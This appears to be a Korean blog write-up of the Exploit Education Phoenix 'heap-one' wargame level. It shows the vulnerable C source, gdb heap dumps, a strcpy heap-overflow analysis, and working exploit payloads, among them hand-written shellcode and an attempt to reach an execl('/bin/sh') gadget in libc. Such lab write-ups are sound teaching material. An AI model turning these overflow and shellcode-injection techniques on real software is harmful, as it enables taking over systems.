Wargame/Exploit Education

[Phoenix] Heap one

wyv3rn 2022. 10. 4. 18:27
728x90
반응형

1. intro

2. code 및 분석

2.1.  C code

/*
 * phoenix/heap-zero, by https://exploit.education
 *
 * Can you hijack flow control?
 *
 * Which vegetable did Noah leave off the Ark?
 * Leeks
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

struct heapStructure {
  int priority;
  char *name;
};

int main(int argc, char **argv) {
  struct heapStructure *i1, *i2;

  i1 = malloc(sizeof(struct heapStructure));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct heapStructure));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

void winner() {
  printf(
      "Congratulations, you've completed this level @ %ld seconds past the "
      "Epoch\n",
      time(NULL));
}

 

2.2. 분석

우선 heapstructure라는 구조체를 선언하고

i1 구조체의 priority에는 1을, name 에는 8 바이트의 heap 영역을 할당하고 그 주소를

i2 구조체의 priority에는 2을, name 에는 8 바이트의 heap 영역을 할당하고 그 주소를

삽입 한다.

이후 strcpy를 통해 argv[1]과 argv[2]를 각각 i1의 name, i2의 name에 복사하고

printf를 통해 메시지를 출력한다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

strcpy 시 name 변수에 삽입된 주소에 값을 삽입하는데 이를 변조할 수 있다.

 

3.2. 공격 준비

우선 무엇보다 strcpy시 크기를 확인하지 않아 heap overflow가 발생한다.

더불어 strcpy 시 name 변수의 heap 주소를 참조하여 값을 삽입하기에 i2 -> name 변수를 조작할 수 있다면 특정 주소의 값을 덮어씌울 수 있다.

 

인자를 각각 aaaa, bbbb로 주고 실행한 heap 영역의 모양은 아래와 같다.

gef> x/40gx 0x00007ffff7ef6000
0x7ffff7ef6000: 0x0000000000000000      0x0000000000000021
0x7ffff7ef6010: 0x0000000000000001      0x00007ffff7ef6030
0x7ffff7ef6020: 0x0000000000000000      0x0000000000000021
0x7ffff7ef6030: 0x0000000061616161      0x0000000000000000
0x7ffff7ef6040: 0x0000000000000000      0x0000000000000021
0x7ffff7ef6050: 0x0000000000000002      0x00007ffff7ef6070
0x7ffff7ef6060: 0x0000000000000000      0x0000000000000021
0x7ffff7ef6070: 0x0000000062626262      0x0000000000000000
0x7ffff7ef6080: 0x0000000000000000      0x00000000000fff81

 

만일 argv[1]이 16보다 크다면 i2 구조체의 값을 덮어씌울 것이다.

gef> r `python -c 'print "A"*64 + " " + "BBBB"'`
Starting program: /opt/phoenix/amd64/heap-one `python -c 'print "A"*64 + " " + "BBBB"'`
...
gef> x/40gx 0x00007ffff7ef6000
0x7ffff7ef6000: 0x0000000000000000      0x0000000000000021
0x7ffff7ef6010: 0x0000000000000001      0x00007ffff7ef6030
0x7ffff7ef6020: 0x0000000000000000      0x0000000000000021
0x7ffff7ef6030: 0x4141414141414141      0x4141414141414141
0x7ffff7ef6040: 0x4141414141414141      0x4141414141414141
0x7ffff7ef6050: 0x4141414141414141      0x4141414141414141
0x7ffff7ef6060: 0x4141414141414141      0x4141414141414141
0x7ffff7ef6070: 0x0000000000000000      0x0000000000000000
0x7ffff7ef6080: 0x0000000000000000      0x00000000000fff81

그러므로 i1 구조체의 name 변수를 통해 변조할 주소를 삽입하고 i2 구조체의 name 변수를 통해 덮어씌울 값을 삽입하면 될 것이며, 프로그램의 마지막에 printf 함수를 통한 문자열을 출력하고 있으니 got을 덮어씌우면 될 것이다.

 

다만 문제에서는 printf 함수를 사용하지만 실제로는 puts 함수를 사용하니 puts plt를 덮어씌우자.

gef> disas main
Dump of assembler code for function main:
...
   0x0000000000400ae7 <+170>:   callq  0x400840 <puts@plt>
   0x0000000000400aec <+175>:   mov    $0x0,%eax
   0x0000000000400af1 <+180>:   leaveq
   0x0000000000400af2 <+181>:   retq
End of assembler dump.
gef> x/40gx 0x0000000000604000
...
0x6041d0 <puts@got.plt>:        0x00007ffff7db98ca      0x00007ffff7da5d8f

winner의 주소는 아래와 같다.

─
gef> p winner
$3 = {<text variable, no debug info>} 0x400af3 <winner>

 

4. exploit

지속적으로 시도해보았으나 winner 주소 상 \x0a로 인해 다음 값이 삽입 불가능 및 \x00 값이 bash 필터링으로 인해 overwrite가 잘 되지 않는다.

gef> r `python -c 'print "A"*40 + "\x58\xe6\xff\xff\xff\x7f"'` `python -c 'print "\xf3\x0a\x40\x00\x00\x00\x00\x00"'`
Starting program: /opt/phoenix/amd64/heap-one `python -c 'print "A"*40 + "\x58\xe6\xff\xff\xff\x7f"'` `python -c 'print "\xf3\x0a\x40\x00\x00\x00\x00\x00"'`
/bin/bash: warning: command substitution: ignored null byte in input
and that's a wrap folks!

Program received signal SIGILL, Illegal instruction.
0x00007ffff7d800f5 in ?? () from /opt/phoenix/x86_64-linux-musl/lib/ld-musl-x86_64.so.1

다른 shell 프로그램을 사용하면 풀릴 것도 같은데, 이는 기본 환경을 벗어나는 영역이라...


onegadget을 다운 받아 shell을 실행시켜버릴까 했는데 여러 프로그램 update가 필요하고, 이를 위해서는 또 root 권한이 필요하기에 일단은 패스.

직접 onegadget 주소를 찾아서 실행했는데 gdb에서는 되는데 로컬에서 안된다;

더보기

/bin/sh 문자열을 libc 파일에서 찾고

user@phoenix-amd64:~$ strings -tx /opt/phoenix/x86_64-linux-musl/lib/libc.so | grep /bin/sh
  8c0f0 /bin/sh
  8f064 /bin/sh

해당 주소 주변 값을 확인하였는데 아래 영역이 제일 가능성 있어보였다.

user@phoenix-amd64:~$ objdump -d /opt/phoenix/x86_64-linux-musl/lib/libc.so |
   3ab30:       eb 0a                   jmp    3ab3c <wordexp+0x1ec>
   3ab32:       be 01 00 00 00          mov    $0x1,%esi
   3ab37:       e8 71 f5 01 00          callq  5a0ad <dup2>
   3ab3c:       4c 8d 05 26 45 05 00    lea    0x54526(%rip),%r8        # 8f0
   3ab43:       6a 00                   pushq  $0x0
   3ab45:       48 8d 3d 18 45 05 00    lea    0x54518(%rip),%rdi        # 8f
   3ab4c:       41 57                   push   %r15
   3ab4e:       48 8d 0d ee 44 05 00    lea    0x544ee(%rip),%rcx        # 8f
   3ab55:       48 8d 15 05 45 05 00    lea    0x54505(%rip),%rdx        # 8f
   3ab5c:       4d 89 f1                mov    %r14,%r9
   3ab5f:       4c 89 c6                mov    %r8,%rsi
   3ab62:       31 c0                   xor    %eax,%eax
   3ab64:       e8 87 85 00 00          callq  430f0 <execl>

 그래서 아래와 같이 gdb에서 return 해보았더니

gef> r `python -c 'print "A"*40 + "\x48\xe6\xff\xff\xff\x7f"'` `python -c 'print "\x3c\x5b\xda\xf7\xff\x7f"'`
Starting program: /opt/phoenix/amd64/heap-one `python -c 'print "A"*40 + "\x48\xe6\xff\xff\xff\x7f"'` `python -c 'print "\x3c\x5b\xda\xf7\xff\x7f"'`
and that's a wrap folks!
process 1089 is executing new program: /bin/dash
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?
x[Inferior 1 (process 1089) exited normally]

 새 프로그램이 정상적으로 실행되긴 했는데 종료되었다.

해당 오류 메시지는 gdb 문제이며, patch 해야되는 것으로...

그래서 생각난 방법이 shellcode를 작성하여 해당 위치로 return하는 방법이다.

작성할 shellcode는 winner 주소를 계산하여 push 한 다음 ret 하면 된다.

 

간단히 아래와 같이 shellcode를 작성 및 컴파일.

.globl main

main:
        xor %rax,%rax
        mov $0xffffffffffffffff,%rax
        sub $0xFFFFFFFFFFBFF50C,%rax
        push %rax
        ret

이후 objdump를 통한 코드를 추출하였고

user@phoenix-amd64:~$ objdump -d a

a:     file format elf64-x86-64


Disassembly of section .init:

...

0000000000000660 <main>:
 660:   48 31 c0                xor    %rax,%rax
 663:   48 c7 c0 ff ff ff ff    mov    $0xffffffffffffffff,%rax
 66a:   48 2d 0c f5 bf ff       sub    $0xffffffffffbff50c,%rax
 670:   50                      push   %rax
 671:   c3                      retq
 672:   66 2e 0f 1f 84 00 00    nopw   %cs:0x0(%rax,%rax,1)
 679:   00 00 00
 67c:   0f 1f 40 00             nopl   0x0(%rax)

이를 통해 exploit 해보았다.

user@phoenix-amd64:~$ /opt/phoenix/amd64/heap-one `python -c 'print "\x48\x31\xc0\x48\xc7\xc0\xff\xff\xff\xff\x48\x2d\x0c\xf5\xbf\xff\x50\xc3" + "A"*22 + "\x68\xe6\xff\xff\xff\x7f"'` `python -c 'print "\x30\x60\xef\xf7\xff\x7f"'`
and that's a wrap folks!
Congratulations, you've completed this level @ 1664942397 seconds past the Epoch
Segmentation fault

and that's a wrap folks! 문자열이 출력되는 이유는 일단은 정상적으로 main 함수의 ret address까지는 도달하기 때문이다.

 

출제자의 원래 의도는 아니었겠지만 우회해서 푼 것이 더 좋은 듯.

728x90
반응형